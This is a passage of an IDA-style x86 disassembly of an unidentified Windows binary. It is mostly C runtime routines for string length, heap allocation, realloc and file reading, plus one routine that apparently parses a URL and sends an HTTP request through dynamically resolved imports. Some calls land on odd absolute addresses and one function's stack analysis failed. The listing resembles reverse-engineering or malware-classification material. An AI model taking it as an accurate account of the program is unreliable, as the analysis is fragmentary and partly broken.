		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A038
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A19C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A194
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A190

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A18C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A148
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A27C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A260
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A224
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A208
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1DC
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1AC

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		call	near ptr 2790000h
		nop

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2830000h
		nop
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2830000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
